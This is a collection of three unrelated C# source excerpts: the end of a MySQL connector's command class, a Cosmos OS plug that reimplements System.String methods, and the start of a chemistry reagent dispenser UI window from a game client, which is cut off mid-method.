cancellationToken).ConfigureAwait(false); do { var hasResult = await reader.ReadAsync(ioBehavior, cancellationToken).ConfigureAwait(false); if (!hasSetResult) { if (hasResult) result = reader.GetValue(0); hasSetResult = true; } } while (await reader.NextResultAsync(ioBehavior, cancellationToken).ConfigureAwait(false)); return result; } public new Task<MySqlDataReader> ExecuteReaderAsync(CancellationToken cancellationToken = default) => ExecuteReaderAsync(default, AsyncIOBehavior, cancellationToken); public new Task<MySqlDataReader> ExecuteReaderAsync(CommandBehavior behavior, CancellationToken cancellationToken = default) => ExecuteReaderAsync(behavior, AsyncIOBehavior, cancellationToken); protected override async Task<DbDataReader> ExecuteDbDataReaderAsync(CommandBehavior behavior, CancellationToken cancellationToken) => await ExecuteReaderAsync(behavior, AsyncIOBehavior, cancellationToken).ConfigureAwait(false); internal async Task<MySqlDataReader> ExecuteReaderAsync(CommandBehavior behavior, IOBehavior ioBehavior, CancellationToken cancellationToken) { Volatile.Write(ref m_commandTimedOut, false); this.ResetCommandTimeout(); using var registration = ((ICancellableCommand) this).RegisterCancel(cancellationToken); return await ExecuteReaderNoResetTimeoutAsync(behavior, ioBehavior, cancellationToken).ConfigureAwait(false); } internal Task<MySqlDataReader> ExecuteReaderNoResetTimeoutAsync(CommandBehavior behavior, IOBehavior ioBehavior, CancellationToken cancellationToken) { if (!IsValid(out var exception)) return Utility.TaskFromException<MySqlDataReader>(exception); var activity = NoActivity ? null : Connection!.Session.StartActivity(ActivitySourceHelper.ExecuteActivityName, ActivitySourceHelper.DatabaseStatementTagName, CommandText); m_commandBehavior = behavior; return CommandExecutor.ExecuteReaderAsync(new IMySqlCommand[] { this }, SingleCommandPayloadCreator.Instance, behavior, activity, ioBehavior, cancellationToken); } public MySqlCommand Clone() => new(this); object ICloneable.Clone() => Clone(); protected override void Dispose(bool disposing) { m_isDisposed = true; base.Dispose(disposing); } #if NETCOREAPP3_0_OR_GREATER || NETSTANDARD2_1_OR_GREATER public override ValueTask DisposeAsync() #else public Task DisposeAsync() #endif { Dispose(); #if NETCOREAPP3_0_OR_GREATER || NETSTANDARD2_1_OR_GREATER return default; #else return Utility.CompletedTask; #endif } /// <summary> /// Registers <see cref="Cancel"/> as a callback with <paramref name="cancellationToken"/> if cancellation is supported. /// </summary> /// <param name="cancellationToken">The <see cref="CancellationToken"/>.</param> /// <returns>An object that must be disposed to revoke the cancellation registration.</returns> /// <remarks>This method is more efficient than calling <code>token.Register(Command.Cancel)</code> because it avoids /// unnecessary allocations.</remarks> IDisposable? ICancellableCommand.RegisterCancel(CancellationToken cancellationToken) { if (!cancellationToken.CanBeCanceled) return null; m_cancelAction ??= Cancel; return cancellationToken.Register(m_cancelAction); } void ICancellableCommand.SetTimeout(int milliseconds) { if (m_cancelTimerId != 0) TimerQueue.Instance.Remove(m_cancelTimerId); if (milliseconds != Constants.InfiniteTimeout) { m_cancelForCommandTimeoutAction ??= CancelCommandForTimeout; m_cancelTimerId = TimerQueue.Instance.Add(milliseconds, m_cancelForCommandTimeoutAction); } } bool ICancellableCommand.IsTimedOut => Volatile.Read(ref m_commandTimedOut); int ICancellableCommand.CommandId => m_commandId; int ICancellableCommand.CancelAttemptCount { get; set; } ICancellableCommand IMySqlCommand.CancellableCommand => this; private IOBehavior AsyncIOBehavior => Connection?.AsyncIOBehavior ?? IOBehavior.Asynchronous; private void CancelCommandForTimeout() { Volatile.Write(ref m_commandTimedOut, true); Connection?.Cancel(this, m_commandId, false); } private bool IsValid([NotNullWhen(false)] out Exception? exception) { exception = null; if (m_isDisposed) exception = new ObjectDisposedException(GetType().Name); else if (Connection is null) exception = new InvalidOperationException("Connection property must be non-null."); else if (Connection.State != ConnectionState.Open && Connection.State != ConnectionState.Connecting) exception = new InvalidOperationException("Connection must be Open; current state is {0}".FormatInvariant(Connection.State)); else if (!Connection.IgnoreCommandTransaction && Transaction != Connection.CurrentTransaction) exception = new InvalidOperationException("The transaction associated with this command is not the connection's active transaction; see https://fl.vu/mysql-trans"); else if (string.IsNullOrWhiteSpace(CommandText)) exception = new InvalidOperationException("CommandText must be specified"); return exception is null; } PreparedStatements? IMySqlCommand.TryGetPreparedStatements() => CommandType == CommandType.Text && !string.IsNullOrWhiteSpace(CommandText) && m_connection is not null && m_connection.State == ConnectionState.Open ? m_connection.Session.TryGetPreparedStatement(CommandText!) : null; CommandBehavior IMySqlCommand.CommandBehavior => m_commandBehavior; MySqlParameterCollection? IMySqlCommand.OutParameters { get; set; } MySqlParameter? IMySqlCommand.ReturnParameter { get; set; } private readonly int m_commandId; private bool m_isDisposed; private MySqlConnection? m_connection; private string m_commandText; private MySqlParameterCollection? m_parameterCollection; private MySqlAttributeCollection? m_attributeCollection; private int? m_commandTimeout; private CommandType m_commandType; private CommandBehavior m_commandBehavior; private Action? m_cancelAction; private Action? m_cancelForCommandTimeoutAction; private uint m_cancelTimerId; private bool m_commandTimedOut; }
//#define COSMOSDEBUG using System; using System.Globalization; using Cosmos.Common; using IL2CPU.API; using IL2CPU.API.Attribs; using Debugger = Cosmos.Debug.Kernel.Debugger; namespace Cosmos.Core_Plugs.System { [Plug(Target = typeof(string))] public static class StringImpl { internal static Debugger mDebugger = new Debugger("Core", "String Plugs"); public static unsafe void Ctor(string aThis, char* aChars, [FieldAccess(Name = "System.String System.String.Empty")] ref string aStringEmpty, [FieldAccess(Name = "System.Int32 System.String._stringLength")] ref int aStringLength, [FieldAccess(Name = "System.Char System.String._firstChar")] char* aFirstChar) { mDebugger.SendInternal("String.Ctor(string, char*)"); aStringEmpty = ""; while (*aChars != '\0') { mDebugger.SendInternal(*aChars); aFirstChar[aStringLength] = *aChars; aStringLength++; aChars++; } mDebugger.SendInternal(aStringLength); } public static unsafe void Ctor(string aThis, char* aChars, int start, int length, [FieldAccess(Name = "System.String System.String.Empty")] ref string aStringEmpty, [FieldAccess(Name = "System.Int32 System.String._stringLength")] ref int aStringLength, [FieldAccess(Name = "System.Char System.String._firstChar")] char* aFirstChar) { aStringEmpty = ""; aStringLength = length; for (int i = 0; i < length; i++) { aFirstChar[i] = aChars[start + i]; } } public static unsafe void Ctor(string aThis, char[] aChars, [FieldAccess(Name = "System.String System.String.Empty")] ref string aStringEmpty, [FieldAccess(Name = "System.Int32 System.String._stringLength")] ref int aStringLength, [FieldAccess(Name = "System.Char System.String._firstChar")] char* aFirstChar) { aStringEmpty = ""; aStringLength = aChars.Length; for (int i = 0; i < aChars.Length; i++) { aFirstChar[i] = aChars[i]; } } public static unsafe void Ctor(string aThis, char[] aChars, int start, int length, [FieldAccess(Name = "System.String System.String.Empty")] ref string aStringEmpty, [FieldAccess(Name = "System.Int32 System.String._stringLength")] ref int aStringLength, [FieldAccess(Name = "System.Char System.String._firstChar")] char* aFirstChar) { aStringEmpty = ""; aStringLength = length; for (int i = 0; i < length; i++) { aFirstChar[i] = aChars[start + i]; } } public static unsafe void Ctor(string aThis, char aChar, int aLength, [FieldAccess(Name = "System.String System.String.Empty")] ref string aStringEmpty, [FieldAccess(Name = "System.Int32 System.String._stringLength")] ref int aStringLength, [FieldAccess(Name = "System.Char System.String._firstChar")] char* aFirstChar) { aStringEmpty = ""; aStringLength = aLength; for (int i = 0; i < aLength; i++) { aFirstChar[i] = aChar; } } /* * These 2 unsafe string Ctor are only "stubs" implemented because Encoding needed them existing but our implementation is not * using them. */ public unsafe static void Ctor(string aThis, sbyte* aValue) { throw new NotImplementedException("String Ctor(sbyte ptr '\0' terminated)"); } public unsafe static void Ctor(string aThis, sbyte* aValue, int aStartIndex, int aLength) { throw new NotImplementedException("String Ctor(sbyte ptr with lenght)"); } public static unsafe void Ctor(string aThis, ReadOnlySpan<char> value, [FieldAccess(Name = "System.String System.String.Empty")] ref string aStringEmpty, [FieldAccess(Name = "System.Int32 System.String._stringLength")] ref int aStringLength, [FieldAccess(Name = "System.Char System.String._firstChar")] char* aFirstChar) { aStringEmpty = ""; aStringLength = value.Length; for (int i = 0; i < value.Length; i++) { aFirstChar[i] = value[i]; } } public static unsafe int get_Length( [ObjectPointerAccess] uint* aThis, [FieldAccess(Name = "System.Int32 System.String._stringLength")] ref int aLength) { return aLength; } public static unsafe char get_Chars( [ObjectPointerAccess] uint* aThis, int aIndex, [FieldAccess(Name = "System.Char System.String._firstChar")] char* aFirstChar) { return *(aFirstChar + aIndex); } public static bool IsAscii(string aThis) { for (int i = 0; i < aThis.Length; i++) { if (aThis[i] >= 0x80) { return false; } } return true; } public static string Format(string aFormat, object aArg0) { if (aArg0 == null) { throw new ArgumentNullException(aFormat == null ? "aFormat" : "aArgs"); } return FormatHelper(null, aFormat, aArg0); } public static string Format(string aFormat, object aArg0, object aArg1) { if (aFormat == null) { throw new ArgumentNullException(nameof(aFormat)); } if (aArg0 == null) { throw new ArgumentNullException(nameof(aArg0)); } if (aArg1 == null) { throw new ArgumentNullException(nameof(aArg1)); } return FormatHelper(null, aFormat, aArg0, aArg1); } public static string Format(string aFormat, object aArg0, object aArg1, object aArg2) { if (aArg0 == null || aArg1 == null || aArg2 == null) { throw new ArgumentNullException(aFormat == null ? "aFormat" : "aArgs"); } return FormatHelper(null, aFormat, aArg0, aArg1, aArg2); } public static string Format(string aFormat, params object[] aArgs) { if (aArgs == null) { throw new ArgumentNullException(aFormat == null ? "aFormat" : "aArgs"); } return FormatHelper(null, aFormat, aArgs); } public static string Format(IFormatProvider aProvider, string aFormat, object aArg0) { if (aArg0 == null) { throw new ArgumentNullException(aFormat == null ? "aFormat" : "aArgs"); } return FormatHelper(aProvider, aFormat, aArg0); } public static string Format(IFormatProvider aProvider, string aFormat, object aArg0, object aArg1) { if (aArg0 == null | aArg1 == null) { throw new ArgumentNullException(aFormat == null ? "aFormat" : "aArgs"); } return FormatHelper(aProvider, aFormat, aArg0, aArg1); } public static string Format(IFormatProvider aProvider, string aFormat, object aArg0, object aArg1, object aArg2) { if (aArg0 == null | aArg1 == null || aArg2 == null) { throw new ArgumentNullException(aFormat == null ? "aFormat" : "aArgs"); } return FormatHelper(aProvider, aFormat, aArg0, aArg1, aArg2); } public static string Format(IFormatProvider aProvider, string aFormat, params object[] aArgs) { if (aArgs == null) { throw new ArgumentNullException(aFormat == null ? "aFormat" : "aArgs"); } return FormatHelper(aProvider, aFormat, aArgs); } internal static string FormatHelper(IFormatProvider aFormatProvider, string aFormat, params object[] aArgs) { char[] xCharArray = aFormat.ToCharArray(); string xFormattedString = string.Empty, xStaticString; bool xFoundPlaceholder = false, xParamNumberDone = true; int xStartParamNumber = -1, xEndParamNumber = -1, xLastPlaceHolder = 0; for (int i = 0; i < xCharArray.Length; i++) { if (xFoundPlaceholder) { if (xCharArray[i] == '{') { throw new FormatException("The format string provided is invalid."); } if (xCharArray[i] == '}') { mDebugger.SendInternal("Found closing placeholder."); if (xEndParamNumber < 0) { xEndParamNumber = i; } string xParamNumber = aFormat.Substring(xStartParamNumber, xEndParamNumber - xStartParamNumber); mDebugger.SendInternal("Calling StringHelper.GetStringToNumber"); mDebugger.SendInternal(xParamNumber); int xParamIndex = StringHelper.GetStringToNumber(xParamNumber); mDebugger.SendInternal("Converted paramindex to a number."); if ((xParamIndex < aArgs.Length) && (aArgs[xParamIndex] != null)) { string xParamValue = aArgs[xParamIndex].ToString(); xFormattedString = string.Concat(xFormattedString, xParamValue); mDebugger.SendInternal("xParamValue ="); mDebugger.SendInternal(xParamValue); mDebugger.SendInternal("xFormattedString ="); mDebugger.SendInternal(xFormattedString); } xFoundPlaceholder = false; xParamNumberDone = true; xStartParamNumber = -1; xEndParamNumber = -1; xLastPlaceHolder = i + 1; } else if (xCharArray[i] == ':') { xParamNumberDone = true; xEndParamNumber = i; // TODO: Need to handle different formats. (X, N, etc) } else if ((char.IsDigit(xCharArray[i])) && (!xParamNumberDone)) { mDebugger.SendInternal("Getting param number."); if (xStartParamNumber < 0) { xStartParamNumber = i; } } } else if (xCharArray[i] == '{') { mDebugger.SendInternal("Found opening placeholder"); xStaticString = aFormat.Substring(xLastPlaceHolder, i - xLastPlaceHolder); xFormattedString = string.Concat(xFormattedString, xStaticString); xFoundPlaceholder = true; xParamNumberDone = false; } } xStaticString = aFormat.Substring(xLastPlaceHolder, aFormat.Length - xLastPlaceHolder); xFormattedString = string.Concat(xFormattedString, xStaticString); return xFormattedString; } public static bool StartsWith(string aThis, string aSubstring, StringComparison aComparison) { var di = aThis.AsSpan(); var ci = aSubstring.AsSpan(); if (aSubstring.Length > aThis.Length) { return false; } for (int i = 0; i < ci.Length; i++) { if (di[i] != ci[i]) { return false; } } return true; } private static string PadHelper(string aThis, int totalWidth, char paddingChar, bool isRightPadded) { var cs = new char[totalWidth]; int pos = aThis.Length; if (isRightPadded) { for (int i = 0; i < aThis.Length; i++) { cs[i] = aThis[i]; } for (int i = aThis.Length; i < totalWidth; i++) { cs[i] = paddingChar; } } else { int offset = totalWidth - aThis.Length; for (int i = 0; i < aThis.Length; i++) { cs[i + offset] = aThis[i]; } for (int i = 0; i < offset; i++) { cs[i] = paddingChar; } } return new string(cs); } public static string Replace(string aThis, char oldValue, char newValue) { var cs = new char[aThis.Length]; for (int i = 0; i < aThis.Length; i++) { if (aThis[i] != oldValue) { cs[i] = aThis[i]; } else { cs[i] = newValue; } } return new string(cs); } // HACK: We need to redo this once char support is complete (only returns 0, -1). public static int CompareTo(string aThis, string other) { if (aThis.Length != other.Length) { return -1; } for (int i = 0; i < aThis.Length; i++) { if (aThis[i] != other[i]) { return -1; } } return 0; } public static int IndexOf(string aThis, char value, int startIndex, int count) { int xEndIndex = aThis.Length; if (startIndex + count < xEndIndex) { xEndIndex = startIndex + count; } for (int i = startIndex; i < xEndIndex; i++) { if (aThis[i] == value) { return i; } } return -1; } // HACK: TODO - improve efficiency of this. //How do we access the raw memory to copy it into a char array? public static char[] ToCharArray(string aThis) { var result = new char[aThis.Length]; for (int i = 0; i < aThis.Length; i++) { result[i] = aThis[i]; } return result; } [PlugMethod(Enabled = false)] public static uint GetStorage(string aString) { return 0; } private static int[] BuildBadCharTable(char[] needle) { var badShift = new int[256]; for (int i = 0; i < 256; i++) { badShift[i] = needle.Length; } int last = needle.Length - 1; for (int i = 0; i < last; i++) { badShift[needle[i]] = last - i; } return badShift; } private static int boyerMooreHorsepool(string pattern, string text) { var needle = pattern.ToCharArray(); var haystack = text.ToCharArray(); if (needle.Length > haystack.Length) { return -1; } var badShift = BuildBadCharTable(needle); int offset = 0; int scan = 0; int last = needle.Length - 1; int maxoffset = haystack.Length - needle.Length; while (offset <= maxoffset) { for (scan = last; needle[scan] == haystack[scan + offset]; scan--) { if (scan == 0) { //Match found return offset; } } offset += badShift[haystack[offset + last]]; } return -1; } // System.Int32 System.String.IndexOf(System.String, System.Int32, System.Int32, System.StringComparison) public static int IndexOf(string aThis, string aSubstring, int aIdx, int aLength, StringComparison aComparison) { if (aSubstring == String.Empty) { return aIdx; } int pos = boyerMooreHorsepool(aSubstring, aThis.Substring(aIdx, aLength)); if (pos == -1) { return pos; } else { return pos + aIdx; //To account for offset } } public static bool Contains(string aThis, string value) { if (value.Length == aThis.Length) { if (value == aThis) { return true; } return false; } if (value.Length > aThis.Length) { return false; } var di = aThis.ToCharArray(); var ci = value.ToCharArray(); for (int i = 0; i + value.Length <= aThis.Length; i++) { if (di[i] == ci[0]) { var equals = true; for (int j = 1; j < value.Length; j++) { if (di[i + j] != ci[j]) { equals = false; } } if (equals) { return true; } } } return false; } public static bool EndsWith(string aThis, string aSubStr, bool aIgnoreCase, CultureInfo aCulture) { return EndsWith(aThis, aSubStr, StringComparison.CurrentCulture); } public static bool EndsWith(string aThis, string aSubStr, StringComparison aComparison) { char[] di = aThis.ToCharArray(); char[] ci = aSubStr.ToCharArray(); if (aThis.Length == aSubStr.Length) { if (aThis == aSubStr) { return true; } return false; } else if (aThis.Length < aSubStr.Length) { return false; } else { for (int i = 0; i < ci.Length; i++) { if (di[aThis.Length - aSubStr.Length + i] != ci[i]) { return false; } } return true; } } public static bool Equals(string aThis, string aThat, StringComparison aComparison) { // TODO: implement if (aComparison == StringComparison.OrdinalIgnoreCase) { string xLowerThis = aThis.ToLower(); string xLowerThat = aThat.ToLower(); return EqualsHelper(xLowerThis, xLowerThat); } return EqualsHelper(aThis, aThat); } public static bool EqualsHelper(string aStrA, string aStrB) { return aStrA.CompareTo(aStrB) == 0; } private static bool CharArrayContainsChar(char[] aArray, char aChar) { for (int i = 0; i < aArray.Length; i++) { if (aArray[i] == aChar) { return true; } } return false; } public static int IndexOf(string aThis, string aValue) { return aThis.IndexOf(aValue, 0, aThis.Length, StringComparison.CurrentCulture); } public static int IndexOfAny(string aThis, char[] aSeparators, int aStartIndex, int aLength) { if (aSeparators == null) { throw new ArgumentNullException(nameof(aSeparators)); } int xResult = -1; for (int i = 0; i < aSeparators.Length; i++) { int xValue = IndexOf(aThis, aSeparators[i], aStartIndex, aLength); if (xValue < xResult || xResult == -1) { xResult = xValue; } } return xResult; } public static string Insert(string aThis, int aStartPos, string aValue) { return aThis.Substring(0, aStartPos) + aValue + aThis.Substring(aStartPos); } public static int LastIndexOf(string aThis, string aString) { return LastIndexOf(aThis, aString, 0, aThis.Length); } public static int LastIndexOf(string aThis, string aString, int aIndex) { return LastIndexOf(aThis, aString, aIndex, aThis.Length - aIndex); } public static int LastIndexOf(string aThis, string aString, int aIndex, int aCount) { if (aString == String.Empty) { if (aIndex > aThis.Length) { return aThis.Length; } return aIndex; } string curr = ""; char[] chars = aThis.ToCharArray(); for (int i = 0; i < aCount; i++) { curr = chars[aThis.Length - i - 1] + curr; if (curr.StartsWith(aString)) { return aThis.Length - i - 1; } } return -1; } public static int LastIndexOf(string aThis, char aChar, int aStartIndex, int aCount) { return LastIndexOf(aThis, new string(aChar, 1), aStartIndex, aCount); } public static int LastIndexOfAny(string aThis, char[] aChars, int aStartIndex, int aCount) { for (int i = 0; i < aCount; i++) { if (CharArrayContainsChar(aChars, aThis[aStartIndex - i])) { return aStartIndex - i; } } return -1; } //public static int nativeCompareOrdinalEx(string aStrA, int aIndexA, string aStrB, int aIndexB, int aCount) //{ // mDebugger.SendInternal($"nativeCompareOrdinalEx : aStrA|aIndexA = {aStrA}|{aIndexA}, aStrB|aIndexB = {aStrB}|{aIndexB}, aCount = {aCount}"); // if (aCount < 0) // { // throw new ArgumentOutOfRangeException(nameof(aCount)); // } // if (aIndexA < 0 || aIndexA > aStrA.Length) // { // throw new ArgumentOutOfRangeException(nameof(aIndexA)); // } // if (aIndexB < 0 || aIndexB > aStrB.Length) // { // throw new ArgumentOutOfRangeException(nameof(aIndexB)); // } // if (aStrA == null) // { // mDebugger.SendInternal("nativeCompareOrdinalEx : aStrA is null"); // if (aStrB == null) // { // mDebugger.SendInternal($"nativeCompareOrdinalEx : aStrB is null"); // mDebugger.SendInternal($"nativeCompareOrdinalEx : returning 0"); // return 0; // } // mDebugger.SendInternal($"nativeCompareOrdinalEx : aStrB is not null"); // mDebugger.SendInternal($"nativeCompareOrdinalEx : returning -1"); // return -1; // } // if (aStrB == null) // { // mDebugger.SendInternal("nativeCompareOrdinalEx : aStrA is not null"); // mDebugger.SendInternal($"nativeCompareOrdinalEx : aStrB is null"); // mDebugger.SendInternal($"nativeCompareOrdinalEx : returning 1"); // return 1; // } // int xLengthA = Math.Min(aStrA.Length, aCount - aIndexA); // int xLengthB = Math.Min(aStrB.Length, aCount - aIndexB); // //mDebugger.SendInternal($"nativeCompareOrdinalEx : xLengthA = {xLengthA}"); // //mDebugger.SendInternal($"nativeCompareOrdinalEx : xLengthB = {xLengthB}"); // if (xLengthA == xLengthB && aIndexA == aIndexB && ReferenceEquals(aStrA, aStrB)) // { // mDebugger.SendInternal("nativeCompareOrdinalEx : xLengthA == xLengthB && aIndexA == aIndexB && aStrA is the same object asaStrB, returning 0"); // return 0; // } // int xResult = 0; // if (xLengthA != xLengthB) // { // xResult = xLengthA - xLengthB; // mDebugger.SendInternal("nativeCompareOrdinalEx : xLengthA != xLengthB, returning " + xResult); // } // for (int i = 0; i < xLengthA; i++) // { // if (aStrA != aStrB) // { // xResult = (byte)aStrA[i] - (byte)aStrB[i]; // mDebugger.SendInternal("nativeCompareOrdinalEx : aStrA[i] != aStrB[i], returning " + xResult); // return xResult; // } // } // mDebugger.SendInternal("nativeCompareOrdinalEx (end of func) : aStrA[i] != aStrB[i], returning " + xResult); // return xResult; //} public static bool StartsWith(string aThis, string aSubStr, bool aIgnoreCase, CultureInfo aCulture) => aThis.StartsWith(aSubStr, aIgnoreCase ? StringComparison.OrdinalIgnoreCase : StringComparison.Ordinal); public static string Replace(string aThis, string oldValue, string newValue) { int skipOffset = 0; while (aThis.Substring(skipOffset).IndexOf(oldValue) != -1) { int xIndex = aThis.Substring(skipOffset).IndexOf(oldValue) + skipOffset; aThis = aThis.Remove(xIndex, oldValue.Length); aThis = aThis.Insert(xIndex, newValue); skipOffset = xIndex + newValue.Length; if (skipOffset > aThis.Length) { break; } } return aThis; } public static string ToLower(string aThis) => ToLowerInvariant(aThis); public static string ToUpper(string aThis) => ToUpperInvariant(aThis); public static string ToLower(string aThis, CultureInfo aCulture) => ToLowerInvariant(aThis); public static string ToUpper(string aThis, CultureInfo aCulture) => ToUpperInvariant(aThis); public static string ToLowerInvariant(string aThis) => ChangeCasing(aThis, 65, 90, 32); public static string ToUpperInvariant(string aThis) => ChangeCasing(aThis, 97, 122, -32); private static string ChangeCasing(string aValue, int lowerAscii, int upperAscii, int offset) { var xChars = new char[aValue.Length]; for (int i = 0; i < aValue.Length; i++) { int xAsciiCode = aValue[i]; if ((xAsciiCode <= upperAscii) && (xAsciiCode >= lowerAscii)) { xChars[i] = (char)(xAsciiCode + offset); } else { xChars[i] = aValue[i]; } } return new string(xChars); } public static string FastAllocateString(int aLength) { return new string(new char[aLength]); } [PlugMethod(IsOptional = true)] public static string TrimStart(string aThis, string aSubStr) { char[] ci = aThis.ToCharArray(); char[] di = aSubStr.ToCharArray(); if (aThis.StartsWith(aSubStr)) { if (aThis != aSubStr) { char[] oi = new char[ci.Length - di.Length]; for (int i = 0; i < ci.Length - di.Length; i++) { oi[i] = ci[i + di.Length]; } return oi.ToString(); } return string.Empty; } throw new ArgumentNullException(); } internal static unsafe char *GetFirstChar(string aThis, [FieldAccess(Name = "System.Char System.String.m_firstChar")] char* aFirstChar) { return aFirstChar; } private static unsafe int FastCompareStringHelper(uint* strAChars, int countA, uint* strBChars, int countB) { int count = (countA < countB) ? countA : countB; #if BIT64 long diff = (long)((byte*)strAChars - (byte*)strBChars); #else int diff = (int)((byte*)strAChars - (byte*)strBChars); #endif #if BIT64 int alignmentA = (int)((long)strAChars) & (sizeof(IntPtr) - 1); int alignmentB = (int)((long)strBChars) & (sizeof(IntPtr) - 1); if (alignmentA == alignmentB) { if ((alignmentA == 2 || alignmentA == 6) && (count >= 1)) { char* ptr2 = (char*)strBChars; if ((*((char*)((byte*)ptr2 + diff)) - *ptr2) != 0) return ((int)*((char*)((byte*)ptr2 + diff)) - (int)*ptr2); strBChars = (uint*)(++ptr2); count -= 1; alignmentA = (alignmentA == 2 ? 4 : 0); } if ((alignmentA == 4) && (count >= 2)) { uint* ptr2 = (uint*)strBChars; if ((*((uint*)((byte*)ptr2 + diff)) - *ptr2) != 0) { char* chkptr1 = (char*)((byte*)strBChars + diff); char* chkptr2 = (char*)strBChars; if (*chkptr1 != *chkptr2) return ((int)*chkptr1 - (int)*chkptr2); return ((int)*(chkptr1 + 1) - (int)*(chkptr2 + 1)); } strBChars = ++ptr2; count -= 2; alignmentA = 0; } if ((alignmentA == 0)) { while (count >= 4) { long* ptr2 = (long*)strBChars; if ((*((long*)((byte*)ptr2 + diff)) - *ptr2) != 0) { if ((*((uint*)((byte*)ptr2 + diff)) - *(uint*)ptr2) != 0) { char* chkptr1 = (char*)((byte*)strBChars + diff); char* chkptr2 = (char*)strBChars; if (*chkptr1 != *chkptr2) return ((int)*chkptr1 - (int)*chkptr2); return ((int)*(chkptr1 + 1) - (int)*(chkptr2 + 1)); } else { char* chkptr1 = (char*)((uint*)((byte*)strBChars + diff) + 1); char* chkptr2 = (char*)((uint*)strBChars + 1); if (*chkptr1 != *chkptr2) return ((int)*chkptr1 - (int)*chkptr2); return ((int)*(chkptr1 + 1) - (int)*(chkptr2 + 1)); } } strBChars = (uint*)(++ptr2); count -= 4; } } { char* ptr2 = (char*)strBChars; while ((count -= 1) >= 0) { if ((*((char*)((byte*)ptr2 + diff)) - *ptr2) != 0) return ((int)*((char*)((byte*)ptr2 + diff)) - (int)*ptr2); ++ptr2; } } } else #endif // BIT64 { #if BIT64 if (Math.Abs(alignmentA - alignmentB) == 4) { if ((alignmentA == 2) || (alignmentB == 2)) { char* ptr2 = (char*)strBChars; if ((*((char*)((byte*)ptr2 + diff)) - *ptr2) != 0) return ((int)*((char*)((byte*)ptr2 + diff)) - (int)*ptr2); strBChars = (uint*)(++ptr2); count -= 1; } } #endif // BIT64 // Loop comparing a DWORD at a time. // Reads are potentially unaligned while ((count -= 2) >= 0) { if ((*((uint*)((byte*)strBChars + diff)) - *strBChars) != 0) { char* ptr1 = (char*)((byte*)strBChars + diff); char* ptr2 = (char*)strBChars; if (*ptr1 != *ptr2) return ((int)*ptr1 - (int)*ptr2); return ((int)*(ptr1 + 1) - (int)*(ptr2 + 1)); } ++strBChars; } int c; if (count == -1) if ((c = *((char*)((byte*)strBChars + diff)) - *((char*)strBChars)) != 0) return c; } return countA - countB; } public static unsafe int CompareOrdinalHelper(string strA, int indexA, int countA, string strB, int indexB, int countB) { #if false // Set up the loop variables. fixed (char* pStrA = strA, pStrB = strB) { char* strAChars = pStrA + indexA; char* strBChars = pStrB + indexB; return FastCompareStringHelper((uint*)strAChars, countA, (uint*)strBChars, countB); } #endif /* Totally managed version but requires changes to IL2CPU to work */ #if true // Please note that Argument validation should be handled by callers. int count = (countA < countB) ? countA : countB; int xResult = 0; strA = strA.Substring(indexA); strB = strB.Substring(indexB); /* * This optimization is not taking effect yet in Cosmos as String.Intern() is not implemented */ if (ReferenceEquals(strA, strB)) { mDebugger.SendInternal($"strA ({strA}) is the same object of strB ({strB}) returning 0"); return 0; } else { mDebugger.SendInternal($"strA ({strA}) is NOT the same object of StrB ({strB})"); } for (int i = 0; i < count; i++) { int a = strA[i]; int b = strB[i]; //xResult = strA[i] - strB[i]; xResult = a - b; // Different characters we have finished if (xResult != 0) { break; } } return xResult; #endif } private static int CompareOrdinalHelperIgnoreCase(string strA, int indexA, int countA, string strB, int indexB, int countB) { return CompareOrdinalHelper(strA.ToLower(), indexA, countA, strB.ToLower(), indexB, countB); } /* It is not really needed to plug GetHashCode! */ public static int Compare(string strA, int indexA, string strB, int indexB, int length, StringComparison comparisonType) { // TODO Exceptions int lengthA = Math.Min(length, strA.Length - indexA); int lengthB = Math.Min(length, strB.Length - indexB); switch (comparisonType) { case StringComparison.Ordinal: return CompareOrdinalHelper(strA, indexA, lengthA, strB, indexB, lengthB); case StringComparison.OrdinalIgnoreCase: return CompareOrdinalHelperIgnoreCase(strA, indexA, lengthA, strB, indexB, lengthB); default: throw new ArgumentException("Not Supported StringComparison"); } } } }
using System.Collections.Generic; using Content.Client.Stylesheets; using Content.Client.UserInterface; using Content.Shared.Chemistry.Dispenser; using Content.Shared.Chemistry.Reagent; using Robust.Client.AutoGenerated; using Robust.Client.UserInterface.Controls; using Robust.Client.UserInterface.CustomControls; using Robust.Client.UserInterface.XAML; using Robust.Shared.GameObjects; using Robust.Shared.IoC; using Robust.Shared.Localization; using Robust.Shared.Prototypes; using static Content.Shared.Chemistry.Dispenser.SharedReagentDispenserComponent; using static Robust.Client.UserInterface.Controls.BoxContainer; namespace Content.Client.Chemistry.UI { /// <summary> /// Client-side UI used to control a <see cref="SharedReagentDispenserComponent"/> /// </summary> [GenerateTypedNameReferences] public sealed partial class ReagentDispenserWindow : DefaultWindow { [Dependency] private readonly IPrototypeManager _prototypeManager = default!; /// <summary> /// Create and initialize the dispenser UI client-side. Creates the basic layout, /// actual data isn't filled in until the server sends data about the dispenser. /// </summary> public ReagentDispenserWindow() { RobustXamlLoader.Load(this); IoCManager.InjectDependencies(this); var dispenseAmountGroup = new ButtonGroup(); DispenseButton1.Group = dispenseAmountGroup; DispenseButton5.Group = dispenseAmountGroup; DispenseButton10.Group = dispenseAmountGroup; DispenseButton15.Group = dispenseAmountGroup; DispenseButton20.Group = dispenseAmountGroup; DispenseButton25.Group = dispenseAmountGroup; DispenseButton30.Group = dispenseAmountGroup; DispenseButton50.Group = dispenseAmountGroup; DispenseButton100.Group = dispenseAmountGroup; } /// <summary> /// Update the button grid of reagents which can be dispensed. /// <para>The actions for these buttons are set in <see cref="ReagentDispenserBoundUserInterface.UpdateReagentsList"/>.</para> /// </summary> /// <param name="inventory">Reagents which can be dispensed by this dispenser</param> public void UpdateReagentsList(List<ReagentDispenserInventoryEntry> inventory) { if (ChemicalList == null) return; if (inventory == null) return; ChemicalList.Children.Clear(); foreach (var entry in inventory) { if (_prototypeManager.TryIndex(entry.ID, out ReagentPrototype? proto)) { ChemicalList.AddChild(new Button {Text = proto.Name}); } else { ChemicalList.AddChild(new Button {Text = Loc.GetString("reagent-dispenser-window-reagent-name-not-found-text") }); } } } /// <summary> /// Update the UI state when new state data is received from the server. /// </summary> /// <param name="state">State data sent by the server.</param> public void UpdateState(BoundUserInterfaceState state) { var castState = (ReagentDispenserBoundUserInterfaceState) state; Title = castState.DispenserName; UpdateContainerInfo(castState); // Disable all buttons if not powered if (Contents.Children != null) { ButtonHelpers.SetButtonDisabledRecursive(Contents, !castState.HasPower); EjectButton.Disabled = false; } // Disable the Clear & Eject button if no beaker if (!castState.HasBeaker) { ClearButton.Disabled = true; EjectButton.Disabled = true; } switch (castState.SelectedDispenseAmount.Int()) { 